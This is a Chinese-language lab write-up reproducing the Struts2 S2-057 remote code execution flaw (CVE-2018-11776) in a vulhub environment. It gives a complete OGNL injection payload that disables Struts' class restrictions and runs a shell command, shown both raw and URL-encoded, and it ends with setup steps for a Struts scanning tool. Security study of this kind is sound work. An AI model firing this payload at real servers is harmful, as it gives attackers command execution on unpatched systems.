S2—057 远程命令执行漏洞（CVE-2018-11776）

一、漏洞描述：

         Apache wiki更新了一个Struts2的远程代码执行漏洞(S2-057)，漏洞威胁等级为高危，漏洞对应的CVE编号为CVE-2018-11776。 定义XML配置时如果没有设置namespace的值，并且上层动作配置中并没有设置或使用通配符namespace时，可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值，并且上层动作并没有设置或使用通配符namespace，从而导致远程代码执行漏洞的发生。

        当Struts2的漏洞利用以下条件时：

       - alwaysSelectFullNamespace值为true
       - action元素未设置namespace属性，或使用了通配符

        namespace将由用户从uri传入，并作为OGNL表达式计算，最终造成任意命令执行漏洞。

      影响版本:

     <=Struts 2.3.34，Struts 2.5.16

二、环境搭建

      vulhub搭建漏洞环境

三、漏洞复现

   环境启动后，访问`http://your-ip:8080/showcase/`，将可以看到Struts2的测试页面。

    

   测试OGNL表达式`${233*233}`：
   http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

    

   原始exp

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

  url编译

   

/struts2-showcase/%24%7b%20%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%7d/actionChain1.action

       

四、日志

        

五、kali里Struts-scan.py搭建

       git clone https://github.com/Lucifer1993/struts-scan.git

        

 

       cd struts-scan

       sudo apt-get install python-pip
       sudo pip install termcolor

       

   启动struts-scan时出现

    

原因：注释里面出现了中文，而 Python 支持的 ASCII 码无中文。

解决办法:

python文件里配置

 在文件头部加上：

  # -*- coding:UTF-8 -*-